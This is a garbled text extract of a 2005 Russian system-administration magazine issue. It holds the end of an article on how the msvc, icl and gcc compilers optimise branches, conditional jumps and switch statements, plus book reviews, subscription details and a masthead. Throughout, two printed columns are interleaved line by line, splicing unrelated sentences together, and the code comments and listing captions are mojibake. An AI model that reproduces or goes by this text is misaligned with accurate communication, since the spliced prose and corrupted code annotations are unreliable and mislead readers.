if (!x) goto lab_1; // îäèíàðíîå âåòâëåíèå
a=a*2; cmp eax,ebx // ñðàâíèâàåì eax ñ ebx, çàïîìèíàÿ
b=a+1; // ðåçóëüòàò âî ôëàãàõ
lab_1: c=a*10; jl lab_1 // ïåðåõîä, åñëè eax < ebx
jg lab_2 // ïåðåõîä, åñëè eax > ebx
Оператор goto не обязательно должен присутствовать lab_3: // ðàç ìû çäåñü, eax == ebx
в тексте явно, он вполне может быть частью do/while/break/
continue. На языках высокого уровня все не так, и операцию срав-
Вот, например: нения приходится повторять несколько раз подряд, что не
способствует ни компактности, ни производительности. Но,
Ëèñòèíã 19. Íåîïòèìèçèðîâàííûé âàðèàíò, 2 âåòâëåíèÿ может быть, ситуацию исправит оптимизатор? Рассмотрим
while(1) следующий код:
{
if (a==0x66) break; // óñëîâíûé ïåðåõîä Ëèñòèíã 22. Ñðàâíåíèå äâóõ ÷èñåë íà ÿçûêå âûñîêîãî óðîâíÿ
a=a+rand();
}; // ñêðûòûé áåçóñëîâíûé ïåðåõîä
// íà íà÷àëî öèêëà if (a < 0x69) printf("b");
if (a > 0x69) printf("g");
Ëèñòèíã 20. Îïòèìèçèðîâàííûé âàðèàíò, 1 âåòâëåíèå (âåòâëåíèå if (a == 0x69) printf("e");
ïåðåä íà÷àëîì öèêëà íå ñ÷èòàåòñÿ, ò.ê. èñïîëíÿåòñÿ âñåãî
ëèøü ðàç) Дизассемблирование показывает, что компилятору msvc
потребовалось целых два сравнения, а вот icl было доста-
if (a!=0x66) // «ñäèðàíèå» îäíîé èòåðàöèè öèêëà
do{ точно и одного. Компилятор gcc не заметил подвоха и чес-
a=a+rand(); тно выполнил все три сравнения.
}while(a!=0x66); // èíâåðòèðóåì ïåðåõîä, òîëüêî îäíî
// âåòâëåíèå
Избавление от ветвлений
Теория утверждает, что любой вычислительный алгоритм
Сокращение количества сравнений можно развернуть в линейную конструкцию, заменив все
Процессоры семейства x86 (как и многие другие) облада- ветвления математическими операциями (как правило, за-
ют одной очень интересной концепцией, которой нет ни в путанными и громоздкими). Рассмотрим функцию поиска
одном языке высокого уровня. Операции вида if (a>b) вы- максимума среди двух целых чисел: «((a>b)?a:b)», для на-
полняются в два этапа. Сначала из числа a вычитается чис- глядности записанную так: «if (a<b) a=b;». Как избавиться
ло b и состояние вычислительного устройства сохраняется от ветвления? В этом нам поможет машинная команда SBB,
в регистре флагов. Различные комбинации флагов соот- реализующая вычитание с заемом.

Трансляция коротких переходом, действующим в пределах одного сегмента (см.

условных переходов рис. 2).
Одна из неприятных особенностей процессоров x86 – ог-
раниченная «дальнобойность» команд условного перехода.
Разработчики микропроцессора в стремлении добиться вы-
сокой компактности кода отвели на целевой адрес всего
один байт, ограничив тем самым длину прыжка интерва-
лом в 255 байт. Это так называемый короткий (short) пере-
ход, адресуемый относительным знаковым смещением, от-
считываемым от начала следующей за инструкцией пере-
хода командой (см. рис. 1). Такая схема адресации ограни-
чивает длину прыжка «вперед» (т.е. «вниз») всего 128 бай-
тами, а «назад» (т.е. «вверх») и того меньше – 127! (Пры-
жок вперед короче потому, что ему требуется «пересечь» и Ðèñóíîê 1. Âíóòðåííåå ïðåäñòàâëåíèå êîðîòêîãî (short) ïåðåõîäà
саму команду перехода). Этих ограничений лишен ближ-
ний (near) безусловный переход, адресуемый двумя байта-
ми и действующий в пределах всего сегмента.
Короткие переходы усложняют трансляцию ветвлений –
ведь не всякий целевой адрес находится в пределах
128 байт! Существует множество путей обойти это ограни- Ðèñóíîê 2. Òðàíñëÿöèÿ êîðîòêèõ ïåðåõîäîâ
чение. Наиболее популярен следующий прием: если транс- Начиная с Intel 80386 в лексиконе процессора появились
лятор видит, что целевой адрес выходит за пределы дося- пятибайтные команды условных переходов, «бьющие» в
гаемости условного перехода, он инвертирует условие сра- пределах всего четырехгигабайтного адресного простран-
батывания и совершает короткий (short) переход на метку ства, однако в силу своей относительно невысокой произ-
continue, а на do_it передает управление ближним (near) водительности, они так и остались невостребованными.

№3, март 2005 89

 программирование
На Ассемблере это могло бы выглядеть, например, так:
Ëèñòèíã 23. Ïîèñê ìàêñèìóìà ñðåäè äâóõ öåëûõ ÷èñåë
áåç èñïîëüçîâàíèÿ âåòâëåíèé
SUB b, a
; îòíÿòü îò ñîäåðæèìîãî 'b' çíà÷åíèå 'a', çàïèñàâ ðåçóëüòàò
; â 'b', åñëè a > b, òî ïðîöåññîð óñòàíîâèò ôëàã çàåìà
; â åäèíèöó
SBB c, c
; îòíÿòü îò ñîäåðæèìîãî 'c' çíà÷åíèå 'c' ñ ó÷åòîì ôëàãà
; çàåìà, çàïèñàâ ðåçóëüòàò îáðàòíî â 'c' ('c' – âðåìåííàÿ
; ïåðåìåííàÿ). Åñëè a <= b, òî ôëàã çàåìà ñáðîøåí, è 'c'
; áóäåò ðàâíî 0. Åñëè a > b, òî ôëàã çàåìà óñòàíîâëåí è 'c'
; áóäåò ðàâíî -1
AND c, b
; âûïîëíèòü áèòîâóþ îïåðàöèþ (c & b), çàïèñàâ ðåçóëüòàò â 'c'
; Åñëè a <= b, òî ôëàã çàåìà ðàâåí íóëþ, 'c' ðàâíî 0,
; çíà÷èò, ñ =(c & b) == 0, â ïðîòèâíîì ñëó÷àå: c == b - a
;
ADD a, c
; âûïîëíèòü ñëîæåíèå ñîäåðæèìîãî 'a' ñî çíà÷åíèåì 'c', çàïèñàâ
; ðåçóëüòàò â 'a'.
; åñëè a <= b, òî c = 0 è a = a
; åñëè a > b, òî c = b - a, è a = a + (b-a) == b
Компилятор msvc поддерживает замену ветвлений ма-
тематическими операциями, однако использует несколько
другую технику, отдавая предпочтение инструкции SETcc xxx,
устанавливающую xxx в единицу, если условие сс истинно.
Как показывает практика, msvc оптимизирует только ветв-
ления константного типа, т.е. «if (n > m) a = 66; else a = 99;»
еще оптимизируется, а «if (n > m) a = x; else a = y;» уже нет.
Компилятор gcc, использующий инструкцию условного
присвоения CMOVcc, оптимизирует все конструкции типа min,
max, set flags, abs и т. д., что существенно увеличивает про-
изводительность, однако требует как минимум Pentium Pro
(инструкция SETcc работает и на Intel 80386). За это отве-
чают ключи -fif-conversion и -fif-conversion2, которые на плат-
форме Intel эквивалентны друг другу. (Вообще говоря, gcc
поддерживает множество ключей, отвечающих за ликви-
дацию ветвлений, однако на платформе Intel они лишены
смысла, поскольку в лексиконе x86-процессоров просто нет
соответствующих команд!).
Компилятор icl – единственный из всех трех, кто не за-
меняет ветвления математическими операциями (что в све-
те активной агитации за команды SBB/CMOVcc, разверну-
той компанией Intel, выглядит довольно странно). Во вся-
ком случае компилятор не делает этого явно и в качестве
компенсации предлагает использовать интринсики (от анг-
лийского «intrinsic», буквально «внутренний»; нестандарт-
ные операторы языка, непосредственно транслирующиеся
в машинный код.
За более подробным описанием обращайтесь к руко-
Советы
! Избегайте использования глобальных и статических пе-
ременных – локальные переменные компилятору намно-
го проще оптимизировать.
! Не используйте переменные там, где можно использо-
вать константы.
! Везде, где это только возможно, используйте беззнако-
вые переменные – они намного легче оптимизируются,
особенно в тех случаях, когда компилятор пытается из-
бавиться от ветвлений.
90
водству на компилятор) и функции мультимедийной биб-
лиотеки SIMD. В частности, цикл вида:
Ëèñòèíã 24. Íåîïòèìèçèðîâàííûé âàðèàíò ñ âåòâëåíèÿìè
short a[4], b[4], c[4];
for (i=0; i<4; i++)
c[i] = a[i] > b[i] ? a[i] : b[i];
может быть переписан так:
Ëèñòèíã 25. Óñòðàíåíèå âåòâëåíèé ïóòåì èñïîëüçîâàíèÿ
ôóíêöèè select_gt áèáëèîòåêè êëàññîâ Intel SIMD
Is16vec4 a, b, c
// ôóíêöèÿ âåêòîðíîãî ïîèñêà ìàêñèìóìà áåç âåòâëåíèé
c = select_gt(a, b, a, b);
Естественно, такой код непереносим и на других ком-
пиляторах он работать не будет, поэтому, прежде чем под-
саживаться на Intel, следует все взвесить и тщательно об-
думать. Тем более что альтернативные мультимедийные
библиотеки имеются и на других компиляторах.
Оптимизация switch
Оператор множественного выбора switch очень популярен
среди программистов (особенно разработчиков Windows-
приложений). В некоторых (хотя и редких) случаях, опера-
торы множественного выбора содержат сотни (а то и тыся-
чи) наборов значений, и если решать задачу сравнения «в
лоб», время выполнения оператора switch окажется слиш-
ком большим, что не лучшим образом скажется на общей
производительности программы, поэтому пренебрегать его
оптимизацией ни в коем случае нельзя.
Балансировка логического дерева
Если отвлечься от устоявшейся идиомы «оператор switch
дает специальный способ выбора одного из многих вари-
антов, который заключается в проверке совпадения значе-
ния данного выражения с одной из заданных констант в со-
ответствующем ветвлении», легко показать, что switch пред-
ставляет собой завуалированный оператор поиска соответ-
ствующего case-значения.
Последовательный перебор всех вариантов, соответ-
ствующий тривиальному линейному поиску – занятие по-
рочное и крайне неэффективное. Допустим, наш оператор
switch выглядит так:
Ëèñòèíã 26. Íåîïòèìèçèðîâàííûé âàðèàíò îïåðàòîðà
ìíîæåñòâåííîãî âûáîðà
switch (a)
{
case 98 : /* êîä îáðàáîò÷èêà */ break;
! Заменяйте int a; if ((a >= 0) && (a < MAX)) на if ((unsigned
int)a < MAX), – последняя конструкция на одно ветвле-
ние короче.
! Ветвление с проверкой на нуль оптимизируется намно-
го проще, чем на любое другое значение.
! Конструкции типа x = (flag?sin:cos)(y) не избавляют от
ветвлений, но сокращают объем кодирования.
! Не пренебрегайте оператором goto – зачастую он позво-
ляет проектировать более компактный и элегантный код.
 программирование
case 4 : /* êîä îáðàáîò÷èêà */ break; это не сто! Оптимизированный вариант оператора switch в
case 3 : /* êîä îáðàáîò÷èêà */ break; худшем случае потребует лишь пяти сравнений, но и это
case 9 : /* êîä îáðàáîò÷èêà */ break;
case 22 : /* êîä îáðàáîò÷èêà */ break; еще не предел!
case 0 : /* êîä îáðàáîò÷èêà */ break; Учитывая, что x86 процессоры все три операции срав-
case 11 : /* êîä îáðàáîò÷èêà */ break;
case 666: /* êîä îáðàáîò÷èêà */ break; нения <, =, > совмещают в одной машинной команде, дво-
case 96 : /* êîä îáðàáîò÷èêà */ break; ичное логическое дерево можно преобразовать в троичное,
case 777: /* êîä îáðàáîò÷èêà */ break;
case 7 : /* êîä îáðàáîò÷èêà */ break; тогда новых гнезд для его балансировки добавлять не нуж-
} но. Простейший алгоритм, называемый методом отрезков,
Тогда соответствующее ему неоптимизированное логи- работает так: сортируем все числа по возрастанию и делим
ческое дерево будет достигать в высоту одиннадцати гнезд получившийся отрезок пополам. Число, находящееся по-
(см. рис. 3 слева). Причем на левой ветке корневого гнез- середине (в нашем случае это 11), объявляем вершиной
да окажется аж десять других гнезд, а на правой – вообще дерева, а числа, расположенные слева от него, – его левы-
ни одного. Чтобы исправить «перекос», разрежем одну вет- ми ветвями и подветвями (в нашем случае это 0, 3, 4 и 7).
ку на две и прицепим образовавшиеся половинки к новому Остальные числа (22, 96, 98, 666, 777) идут направо. По-
гнезду, содержащему условие, определяющее, в какой из вторяем эту операцию рекурсивно до тех пор, пока длина
веток следует искать сравниваемую переменную. Напри- подветвей не сократится до единицы. В конечном счете,
мер, левая ветка может содержать гнезда с четными зна- вырастет следующее дерево :
чениями, а правая – с нечетными. Но это плохой критерий:
четных и нечетных значений редко бывает поровну и вновь
образуется перекос. Гораздо надежнее поступить так: бе-
рем наименьшее из всех значений и бросаем его в кучу А,
затем берем наибольшее из всех значений и бросаем его в
кучу B. Так повторяем до тех пор, пока не рассортируем
все имеющиеся значения (см. рис. 3 справа).
Поскольку, оператор switch требует уникальности каж-
дого значения, т. е. каждое число может встречаться лишь
однажды, легко показать, что: Ðèñóíîê 4. Òðîè÷íîå äåðåâî, ÷àñòè÷íî ñáàëàíñèðîâàííîå
! в обеих кучах будет содержаться равное количество чи- ìåòîäîì îòðåçêîâ
сел (в худшем случае – в одной куче окажется на число Очевидно, что это не самое лучшее дерево из всех. Мак-
больше); симальное количество сравнений (т.е. количество сравне-
! все числа кучи A меньше наименьшего из чисел кучи B. ний в худшем случае) сократилось с пяти до четырех, а ко-
Следовательно, достаточно выполнить только одно срав- личество ветвлений возросло вдвое, в результате чего, вре-
нение, чтобы определить: в какой из двух куч следует мя выполнения оператора switch только возросло. К тому
искать сравниваемое значение. же структура построения дерева явно не оптимальна. Гнез-
да (a<=3), (a>=7), (a<=96), (a>=666) имеют свободные вет-
ви, что увеличивает высоту дерева на единицу. Но, может
быть, компилятор сумеет это оптимизировать?
Дизассемблирование показывает, что компилятор msvc
генерирует троичное дерево, сбалансированное по улуч-
шенному алгоритму отрезков, содержащее всего лишь
7 операций сравнения, 9 ветвлений и таблицу переходов на
10 элементов (см. «Создание таблицы переходов»). В худ-
шем случае выполнение оператора switch требует 3 срав-
нений и 3 ветвлений. Троичное дерево, построенное ком-
пилятором gcc, сбалансировано по классическому алгорит-
Ðèñóíîê 3. Íåñáàëàíñèðîâàííîå (ñëåâà) è ñáàëàíñèðîâàííîå му отрезков и состоит из 11 сравнений и 24 ветвлений. В
(ñïðàâà) switch/case-äåðåâî худшем случае выполнение оператора switch растягивает-
Высота вновь образованного дерева будет равна ся на 4 сравнения и 6 ветвлений. Компилятор icl, работаю-
1+(N+1)/2, где N – количество гнезд старого дерева. Дей- щий по принципу простого линейного поиска, строит дво-
ствительно, мы же делим ветвь дерева надвое и добавля- ичное дерево из 11 сравнений и 11 ветвлений. В худшем
ем новое гнездо – отсюда и берется N/2 и +1, а (N+1) необ- случае все узлы дерева «пережевываются» целиком. Вот
ходимо для округления результата деления в большую сто- так «оптимизация»!
рону. То есть если высота неоптимизированного дерева до-
стигала 100 гнезд, то теперь она уменьшилась до 51. Гово- Создание таблицы переходов
рите, 51 все равно много? Но кто нам мешает разбить каж- Если значения ветвей выбора представляют собой ариф-
дую из двух ветвей еще на две? Это уменьшит высоту де- метическую прогрессию (см. листинг 27), компилятор мо-
рева до 27 гнезд! Аналогично, последующее уплотнение жет сформировать таблицу переходов – массив, проиндек-
даст 16 → 12 → 11 → 9 → 8… и все! Более плотная упаковка сированный case-значениями и содержащий указатели на
дерева уже невозможна. Но, согласитесь, восемь гнезд – соответствующие им case-обработчики. В этом случае

№3, март 2005 91

 программирование
сколько бы оператор switch ни содержал ветвей – одну или единственный из всех трех, способный комбинировать таб-
миллион, – он выполняется за одну итерацию. Красота! лицы переходов с логическими деревьями. Разряженные
участки с далеко отстоящими друг от друга значениями
Ëèñòèíã 27. Íåîïòèìèçèðîâàííûé switch, îðãàíèçîâàííûé монтируются в виде дерева, а густо населенные области
ïî ïðèíöèïó óïîðÿäî÷åííîé àðèôìåòè÷åñêîé ïðîãðåññèè
упаковываются в таблицы переходов.
switch (a) Вернемся к листингу 26. Значения 9, 11, 22, 74, 666, 777
{
case 1 : /* êîä îáðàáîò÷èêà */ break; упорядочиваются в виде дерева, а 0, 3, 4, 7, 9 ложатся в
case 2 : /* êîä îáðàáîò÷èêà */ break; таблицу переходов, благодаря чему достигается предель-
case 3 : /* êîä îáðàáîò÷èêà */ break;
case 4 : /* êîä îáðàáîò÷èêà */ break; но высокая скорость выполнения, далеко опережающая кон-
case 5 : /* êîä îáðàáîò÷èêà */ break; курентов.
case 6 : /* êîä îáðàáîò÷èêà */ break;
case 7 : /* êîä îáðàáîò÷èêà */ break;
case
case
8
9
:
:
/*
/*
êîä
êîä
îáðàáîò÷èêà
îáðàáîò÷èêà
*/
*/
break;
break;
Свободная таблица
case 10 : /* êîä îáðàáîò÷èêà */ break;
case 11 : /* êîä îáðàáîò÷èêà */ break;
}
Ëèñòèíã 28. Äèçàññåìáëåðíûé ëèñòèíã îïòèìèçèðîâàííîãî
âàðèàíòà îïåðàòîðà switch
cmp eax, 0Bh ; switch 12 cases
; ñðàâíèâàåì a ñ 11
ja short loc_80483F5 ; default
; åñëè a > 11 âûõîäèì èç îïåðàòîðà switch
;
jmp ds:off_804857C[eax*4] ; switch jump
; ïåðåäàåì óïðàâëåíèå ñîîòâåòñòâóþùåìó
; case-îáðàáîò÷èêó, òàêèì îáðàçîì, ìû èìååì âñåãî ëèøü
; îäíî ñðàâíåíèå è äâà âåòâëåíèÿ

; // òàáëèöà ñìåùåíèé case-îáðàáîò÷èêîâ

off_804857C ↑r
dd offset loc_80483F5 ; DATA XREF: main+11↑
dd offset loc_80483E8 ; jump table for switch statement
dd offset loc_80483F9
dd offset loc_8048402
dd offset loc_804840B
dd offset loc_8048414
dd offset loc_804841D
dd offset loc_8048426
dd offset loc_804842F
dd offset loc_8048438
dd offset loc_8048441
dd offset loc_804844F

Создавать таблицы переходов умеют все три рассмат- Заключение

риваемых компилятора, даже если элементы прогрессии Справедливости ради оливковая ветвь пальмы первенства
некоторым образом перемешаны: на этот раз не достанется никому. Все три компилятора
показывают одинаково впечатляющий результат, но про-
Ëèñòèíã 29. Íåîïòèìèçèðîâàííûé switch, îðãàíèçîâàííûé калываются в мелочах. Позиция icl выглядит достаточно
ïî ïðèíöèïó óïîðÿäî÷åííîé àðèôìåòè÷åñêîé ïðîãðåññèè
сильной, однако на безусловное господство никак не тя-
switch (a) нет. Как минимум ему предстоит научиться выравнивать
{
case 11 : /* êîä îáðàáîò÷èêà */ break; переходы, заменять ветвления математическими операци-
case 2 : /* êîä îáðàáîò÷èêà */ break; ями и переваривать оператор switch.
case 13 : /* êîä îáðàáîò÷èêà */ break;
case 4 : /* êîä îáðàáîò÷èêà */ break; Компилятор gcc, с учетом его бесплатности, по-прежне-
case 15 : /* êîä îáðàáîò÷èêà */ break; му остается наилучшим выбором. Он реализует многие
case 6 : /* êîä îáðàáîò÷èêà */ break;
case 17 : /* êîä îáðàáîò÷èêà */ break; новомодные способы оптимизации ветвлений (в частности,
case 8 : /* êîä îáðàáîò÷èêà */ break; использует инструкцию CMOVcc), однако по ряду позиций
case 19 : /* êîä îáðàáîò÷èêà */ break;
case 10 : /* êîä îáðàáîò÷èêà */ break; проигрывает насквозь коммерческому msvc, лишний раз
case 21 : /* êîä îáðàáîò÷èêà */ break; подтверждая основной лозунг Microsoft: «Bill always win».
}
При переходе от ветвлений к циклам (а циклы, как извест-
Если один или несколько элементов прогрессии отсут- но, «съедают» до 90% производительности программы),
ствуют, соответствующие им значения дополняются фик- этот разрыв лишь усиливается. Но о циклах в другой раз.
тивными переходниками к default-обработчику. Таблица Это слишком объемная, хотя и увлекательная тема. Совре-
переходов от этого, конечно, «распухает», однако на ско- менные компиляторы не только выбрасывают из цикла все
рости выполнения оператора switch это практически никак ненужное (например, заменяют цикл с предусловием на
не отражается. цикл с постусловием, который на одно ветвление короче),
Однако при достижении некоторой пороговой величи- но и трансформируют сам алгоритм, подгоняя порядок об-
ны «разрежения» таблица переходов внезапно трансфор- работки данных под особенности архитектуры конкретного
мируется в двоичное/троичное дерево. Компилятор msvc – микропроцессора.

92
 книжная полка
Записки OpenOffice.org
исследователя открытый офис
компьютерных для Linux и Windows
вирусов Виктор Костромин
Крис Касперски Это первая книга на русском
Очень любопытная книга от языке, посвященная Open
известного технического пи- Office.org – популярному офис-
сателя. Касперски просто и ному пакету, в своем развитии
доступно делится личным шагающему семимильными
опытом и описывает соб- шагами и все больше тесняще-
ственные эксперименты в об- му Microsoft Office. Книга по-
ласти компьютерной вирусо- служит отличным помощником
логии. Книга разделена на 4 для человека, начинающего
части. В первой подробно осваивать openoffice.org. Изда-
рассматриваются локальные вирусы, паразитирующие на ние рассчитано на широкий круг читателей – от «новичков»
Winodws/UNIX. Вторая часть полностью посвящена ком- до продвинутых пользователей. Книга построена в виде эк-
пьютерным червям. Методы борьбы с вирусами описаны спресс-курса. Достаточно подробно описана работа с тек-
в третей части книги. В четвертой части подробно раскры- стовым процессором Writer, электронной таблицей Calc, гра-
та тема UNIX vs. NT с точки зрения безопасности. В при- фическим пакетом Draw, системой подготовки презентаций
ложении к книге рассмотрены приемы восстановления ОС Impress, редактором формул Math. Также рассмотрены об-
в «боевых» условиях и приемы борьбы со спамом. Книга, щие вопросы функционирования пакета. После прочтения
по сути, является некой компиляцией ранее опубликован- данной книги читатель получит знания, необходимые для ком-
ных статей в нашем журнале, что в некоторой степени фортный работы в OpenOfice.org. Эта книга – незаменимое
очень удобно. Отличный выбор для тех, кто хочет погру- приобретение для всех пользователей, желающих присту-
зиться с головой в изучение и исследование вирусов. Кни- пить к использованию OpenOfice.org вместо Microsoft Office.
га рассчитана на достаточно подготовленного читателя, Вместе с книгой в комплекте идет диск с дистрибутивами
который не боится углубиться в изучение дизассемблер- Open Office.org для Windows, Linux и FreeBSD.
ных листингов и дебрей ОС. Издательство «БХВ-Петербург», 2005 г. – 272 стр. ISBN
Издательство «Питер», 2005 г. – 316 стр. ISBN 5-469- 5-94157-266-2. Издание подготовлено совместно с компа-
00331-0. нией ЛинуксЦентр.

Полное руководство Настройка SQL

пользователя Ден Тоу
Mandrake Linux Данное издание является пе-
Mandrakesoft реводом книги «SQL Tuning»
Книга является переводом издательства O’Reilly, которое
официального руководства для многих стало синонимом
пользователя. Если свое зна- качества содержания книг.
комство с Linux вы собираетесь Книга написана одним из са-
начать с популярного дистри- мых известных и уважаемых
бутива Mandrake – эта книга специалистов в области баз
для вас. Новички получат до- данных. Основная тема кни-
статочные сведения для нача- ги – оптимизация SQL-запро-
ла работы с Linux в разделе сов. На страницах издания вы
«Введение в Linux». Далее под- найдете ответы на такие воп-
робно описана пошаговая установка системы. Отдельный росы: как увеличить скорость выполнения запросов к базе
раздел в книге посвящен миграции из Winodws/MacOS. Опи- данных, как наиболее оптимально построить запрос. В книге
сание и примеры работы с популярными программами, та- заложена фундаментальная информация, которую должны
кими как Mozilla, OpenOffice.org, XMMS, MPlayer GIMP, по- знать все программисты/разработчики баз данных. Авто-
зволят начинающим быстрее освоиться в новой для себя ром используется математический диаграммный метод для
системе. Не обойден вниманием вопрос тонкой настройки получения оптимального или близкого к оптимальному пла-
и восстановления системы. Опытные пользователи найдут на выполнения для SQL-запроса. Большое количество при-
для себя много интересного в разделе «Глубины Linux». В меров и заданий (для MS SQL, DB2, Oracle) помогут луч-
качестве приложения к книге идет диск с Mandrake Linux шим образом усвоить излагаемый материал.
10.1 Linux Center Edition. Издательство «Питер», 2004 г. – 333 стр. ISBN 5-94723-
Издательство «БХВ-Петербург», 2005 г. – 512 cтр. ISBN 959-0 (Ориг ISBN 0596005733).
5-94157-637-4. Издание подготовлено совместно с компа-
нией ЛинуксЦентр. Рубрику ведет
Александр Байрак

№3, март 2005 93


Российская Федерация
! Подписной индекс: 81655
Каталог агентства «Роспечать»
! Подписной индекс: 87836
Объединенный каталог «Пресса России»
Адресный каталог «Подписка за рабочим столом»
Адресный каталог «Библиотечный каталог»
! Альтернативные подписные агентства:
Агентство «Интер-Почта» (095) 500-00-60, курьерская
доставка по Москве
Агентство «Вся Пресса» (095) 787-34-47
Агентство «Курьер-Прессервис»
Агентство «ООО Урал-Пресс» (343) 375-62-74
! Подписка On-line
http://www.arzy.ru
http://www.gazety.ru
http://www.presscafe.ru
СНГ
В странах СНГ подписка принимается в почтовых отделе-
ниях по национальным каталогам или по списку номенкла-
туры АРЗИ:
! Азербайджан – по объединенному каталогу российских
изданий через предприятие по распространению печа-
ти «Гасид» (370102, г. Баку, ул. Джавадхана, 21)
подписка на II полугодие 2005
! Казахстан – по каталогу «Российская Пресса» через
ОАО «Казпочта» и ЗАО «Евразия пресс»
! Беларусь – по каталогу изданий стран СНГ через РГО
«Белпочта» (220050, г.Минск, пр-т Ф.Скорины, 10)
! Узбекистан – по каталогу «Davriy nashrlar» российские
издания через агентство по распространению печати
«Davriy nashrlar» (7000029, Ташкент, пл.Мустакиллик,
5/3, офис 33)
! Армения – по списку номенклатуры «АРЗИ» через ГЗАО
«Армпечать» (375005, г.Ереван, пл.Сасунци Давида, д.2)
и ЗАО «Контакт-Мамул» (375002, г. Ереван, ул.Сарья-
на, 22)
! Грузия – по списку номенклатуры «АРЗИ» через АО
«Сакпресса» ( 380019, г.Тбилиси, ул.Хошараульская, 29)
и АО «Мацне» (380060, г.Тбилиси, пр-т Гамсахурдия, 42)
! Молдавия – по каталогу через ГП «Пошта Молдавей»
(МД-2012, г.Кишинев, бул.Штефан чел Маре, 134)
по списку через ГУП «Почта Приднестровья» (МD-3300,
г.Тирасполь, ул.Ленина, 17)
по прайслисту через ООО Агентство «Editil Periodice»
(2012, г.Кишинев, бул. Штефан чел Маре, 134)
! Подписка для Украины:
Киевский главпочтамп
Подписное агентство «KSS»
Телефон/факс (044)464-0220

Подписные
индексы:

81655
по каталогу
агентства
«Роспечать»

87836
по каталогу
агентства
«Пресса
России»

№3, март 2005 95

СИСТЕМНЫЙ АДМИНИСТРАТОР
№3(28), Март, 2005 год
РЕДАКЦИЯ
Исполнительный директор
Владимир Положевец
Ответственный секретарь
Наталья Хвостова
sekretar@samag.ru
Технический редактор
Владимир Лукин
Редакторы
Андрей Бешков
Валентин Синицын
Алексей Барабанов
РЕКЛАМНАЯ СЛУЖБА
тел./факс: (095) 928-8253
Константин Меделян
reсlama@samag.ru
Верстка и оформление
imposer@samag.ru
maker_up@samag.ru
Дизайн обложки
Николай Петрочук
107045, г. Москва,
Ананьевский переулок, дом 4/2 стр. 1
тел./факс: (095) 928-8253
Internet: www.samag.ru
РУКОВОДИТЕЛЬ ПРОЕКТА
Петр Положевец
УЧРЕДИТЕЛИ
Владимир Положевец
Александр Михалев
ИЗДАТЕЛЬ
ЗАО «Издательский дом
«Учительская газета»
Отпечатано типографией
ГП «Московская Типография №13»
Тираж 8200 экз.
Журнал зарегистрирован
в Министерстве РФ по делам печати,
телерадиовещания и средств мас-
совых коммуникаций (свидетельство
ПИ № 77-12542 от 24 апреля 2002г.)
За содержание статьи ответствен-
ность несет автор. За содержание рек-
ламного обьявления ответственность
несет рекламодатель. Все права на
опубликованные материалы защище-
ны. Редакция оставляет за собой пра-
во изменять содержание следующих
номеров.
96
ЧИТАЙТЕ
В СЛЕДУЮЩЕМ
НОМЕРЕ:
Apache как прокси-сервер Professional SP2 Rus вместе с требуе-
Рассмотрим достаточно стандартную мым прикладным программным обес-
для небольшой организации связку: печением в практике аутсорсинга.
UNIX-шлюз для выхода в Интернет,
внутренний веб-сервер (Apache), фай- Базовая настройка
ловый сервер, почта, прокси-сервер... маршрутизатора Cisco
Оказывается, часть звеньев этой це- начального уровня
почки можно объединить друг с дру- Описание настройки может послужить
гом, сократив тем самым число обслу- отправной точкой для самостоятельно-
живаемых сервисов и даже получить го конфиг урирования домашнего/
при этом кое-какие дополнительные офисного маршрутизатора UNIX или
бонусы. В данной статье рассматри- Windows администратором, ранее не
вается процесс настройки Apache для работавшим с оборудованием Cisco.
работы в качестве кэширующего про-
кси-сервера, предоставляющего воз- Alt-N MDaemon –
можности динамического сжатия веб- почтовая система
страниц. для средних
и крупных компаний
Автоматизация Alt-N Mdaemon – почтовый сервер
MS Windows, или AutoIt корпоративного уровня для ОС семей-
как мечта эникейщика ства Windows. Уже с первых версий дан-
Взгляд на проблему автоматизации ра- ный продукт пользовался заслуженной
бот в MS Windows со стороны систем- популярностью среди администраторов
ного администратора, не желающего Windows-систем, благодаря чему посто-
становиться MSCE. Основная цель – в янно совершенствовался и дополнялся
максимальном сокращении обслужи- новыми возможностями. На сегодняш-
вающих операций в среде MS Windows. ний день MDaemon – это SMTP/POP/
В этом помогает нам инструментарий IMAP почтовый сервер с полным набо-
AutoIt. С помощью этой программы, ко- ром возможностей: защита от спама,
торая является оператором-ботом, безопасный доступ к почте через веб-
можно автоматизировать все массо- интерфейс при помощи обычного бра-
вые операции в среде MS Windows. В узера, удаленное администрирование,
качестве большого комплексного при- а также, при установленном MDaemon
мера приводится решение задачи авто- AntiVirus, защита вашей системы от
матической установки MS Windows XP почтовых вирусов.
Уважаемые читатели!
Началась подписка на II полугодие 2005 года.
Продолжается подписка на журнал на I полугодие 2005 года.
Если вы не успели подписаться на все шесть выпусков
первого полугодия, приобретайте недостающие номера
через интернет-магазины
Доставка почтой в любую точку России.